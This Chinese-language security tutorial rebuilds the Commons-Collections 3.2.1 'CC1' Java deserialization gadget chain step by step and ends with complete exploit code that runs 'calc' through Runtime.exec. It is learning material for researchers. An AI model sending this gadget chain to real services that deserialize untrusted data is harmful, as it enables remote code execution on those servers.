[java安全基础 03]CC1

Commons-Collerctions链条

Apache Commons-Collections简介

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库．它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

Apache Commons Collections是Java中应用广泛的一个库，包括Weblogic、JBoss、WebSphere，Jenkins等知名大型Java应用都使用了这个库。

-些Java应用程序(Weblogic，Websphere，Jboss，Jenkins，Coldfusion等)的RCE漏洞都是因为Commons-Collections的反序列化造成的

image-20221209223549101。

环境准备

java下载：https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

mevn仓库：https://mvnrepository.com/

所用mevn依赖：https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

openjdk:https://hg.openjdk.java.net/

使用：https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

在jdk1.8_65中，将src.zip解压成文件夹
然后将下载的jdk-af660750b2f4解压，将其src/share/classes/sun文件夹复制粘贴到jdk1.8_65的src中

image-20221209155320893

接着，创建一个mevn项目在idea中的file->project structre中，将src目录添加进去

image-20221209165203928

最后后在pom.xml中添加，刷新一下mevn

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
</dependencies>

复现过程

首先构造一个简单的命令执行代码

package com.example;

import org.apache.commons.collections.Transformer;

import java.io.*;

public class CC01Test02 {
    //    在走一次CC1
    public static void main(String[] args) throws IOException {
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("calc");
    }


    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object object = objectInputStream.readObject();
        return object;
    }
}

Transfomer

首先默认我们知道Transfomer是危险的；

Transfomer是Commons collections的一组功能类

Transformer中只有一个待实现的一个接口

image-20221209223814499

点击左边的图标，查看实现的方法：一共14个，实现了不同的功能

image-20221209223946191

例如： transform在ChainedTransformer中的实现：

实现功能：调用初始化传入Transformers数组的transformer方法，并且将上一个返回结果作为下一个transformer方法的参数；

image-20221209224506366

例如：transform在ConstantTransfoermer中的实现

实现功能：返回创建ConstanTransformer实例时传入的对象

image-20221209224624369

例如：transform在InvokeTransformer中的实现

实现功能：以反射方式，调用创建InvokeTransformer实例时传入的方法

image-20221209224916750

发现这个实现的函数有点危险；考虑能否进行利用(当然能利用)；

InvokeTransformer

发现InvokeTransformer构造时的三个参数都是可控的：一次是调用的方法，调用的方法的参数类型，调用的方法的参数；

考虑使用InvokeTranssformer的transformer方法来执行Runtime的exec方法

于是：
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
可以写成：
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());

相当于在transformer中可以看到是通过了反射实现的，这里我们就找到了一个危险函数；

接下来就需要找一个不同的类中不同的方法调用了Transform；

右击Transform方法，点击Find Usages，能够看到有21个利用；就一次开始寻找；

image-20221209230457494

要明确，得在一个其它的类中调用transform的，如果是同名的调用就无法往上一层走，因为我们要从这个transformer依次找找找，找到一个入口；就像做PHP反序列化题目挖pop链一样；从危险函数(eval,system)到一个入口函数(如：wakeup,destruct)

我们找到有一个Transformmap，这里实现了很多的transform，考虑在这里进行利用；至于为什么是再这里利用，我只能说CC1就是这么走的，当然可以试试其它链路的利用，我就能力有限，只能拾人牙慧看着视频这么向上走CC1；

image-20221209231334398

即：利用此处的transform

image-20221209233152728

TransformedMap

上面说到利用TransformedMap的checkSetValue方法中的valueTransfomer.transfomer，所以这里就需要检查一下TransformedMap是怎么样的；

于是看一下TransformedMap的构造方法：

image-20221209232114398

发现这个构造方法是一个保护类型，所以一定是被调用的，所以再看哪里调用了这个方法，发现在decorate方法这里进行了调用，并且返回了一个Map对象；

image-20221209232257360

先写两步

于是将
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
改成：
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
//调用decorate方法，需要传入一个map(Map map)所以这里定义一个haspmap
TransformedMap.decorate(map,null,invokerTransformer);
//由于利用的TransformerdMap中的checksetValue方法，且在该方法中只用了valueTransfomer，所以上一句这里不用传入keyTransfomer

于是，当调用到checkSetValue函数时，就会执行valueTransformer.transform，由于传入的valueTransfomer是invokerTransformer；所以这里就相当于执行invokerTransformer.transform；

接下来就需要再找，哪里执行了checkSetValue方法，依旧是通过Find Usages，找到只有一个地方进行了调用：

image-20221209234012292

AbstractInputCheckedMapDecorator

这个setvalue方法实际就是在遍历hashmap的setvalue

for(Map.Entry entry:map.entrySet()){
    entry.getValue();
}

因为发现：TransformedMap类继承了AbstractInputCheckedMapDecorator类，并且在AbstractInputCheckedMapDecorator类中重写了setvalue方法，也就是说，当遍历被修饰的map的时候，就会走到setvalue方法，然后就会走到checksetvalue;

最后将代码修改成这样

 public static void main(String[] args) throws IOException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","b");
     //设置一个键值，这样才能进入setValue
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }
    }

这样就代表链子可以用，算是执行到了一半了；

然后开始找哪里调用了setvalue；

AnnotationInvocationHandler

然后在这个类中找到了setvalue的调用，并且这是在一个map中，符合了测试的格式；更妙的是，它是在readObject中；

再看这个类的构造函数

image-20221212200454554

在构造函数中传入的参数都是可控的：

Annotation：是注解，就是@Override那些注解；Class<? extends Annotation>是继承注解；

Map传入transformermap就行；

由于构造函数中没有写public，那么就是default类型，default类型又必须在本类中调用，所以需要用反射来反射一个对象出来；

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

这里就先改成这样；链子就算是走完了，但是这里没法执行，还有一些问题需要修改；

ChainedTransformer

由于Runtime没得反序列化接口，所以也得走反射反射一个类出来；所以用IvokeTransformer来反射一遍，并且用ChainedTransformer，连接一次

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//        Transformer;
//        Runtime runtime = Runtime.getRuntime();
        Runtime r = Runtime.getRuntime();
//        runtime.exec("calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
//        Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

然后调试一下看看会不会正常的执行进去；

image-20221212211928366

在调试过程中发现，这里是妹纸的；这个menberValues是注解中的值，但是这里的注解用的是Override；换成Target;在Target中有一个值是value；所以设置值也设置为value；

 public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//        Transformer;
//        Runtime runtime = Runtime.getRuntime();
        Runtime r = Runtime.getRuntime();
//        runtime.exec("calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
//        Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

然后这里就走到了setValue；

但是在调试中发现，这里传入的是一个Ann.....对象；

ConstantTransformer

在调试中，发现，最后执行transform方法在这里：

image-20221212220306359

传入的是一个Annota...对象，对这个对象执行transform；

不过这个时候需要传入的是个Runtime.class；

于是想到了ConstantTransformer的transform方法，它返回的值是传入的值，所以在构造chain的数组中加一个进去；

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
        };

这样调试的时候就会有一个Runtime.class了；

image-20221212220647791

此时，整条链子跑完了；

调用链

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map.Entry.setValue()
              TransformedMap.checkSetValue()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

完整代码

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;

public class CC01Test02 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//        Transformer;
//        Runtime runtime = Runtime.getRuntime();
        Runtime r = Runtime.getRuntime();
//        runtime.exec("calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{java.lang.String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{java.lang.String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class<?> Acls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> AnnotationInvocationHandlerConstructor = Acls.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
//        Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }


    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object object = objectInputStream.readObject();
        return object;
    }
}

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本文作者：upstream_yu
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